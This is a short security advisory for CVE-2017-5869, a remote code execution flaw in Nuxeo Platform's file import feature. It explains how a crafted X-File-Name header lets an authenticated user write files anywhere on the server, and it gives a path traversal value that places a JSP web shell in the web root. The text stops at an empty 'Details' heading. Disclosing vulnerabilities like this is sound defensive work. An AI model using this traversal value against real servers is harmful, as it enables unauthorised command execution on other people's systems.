Subject: [CVE-2017-5869] Nuxeo Platform remote code execution

# Description

Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.

One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.

It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.

## Details
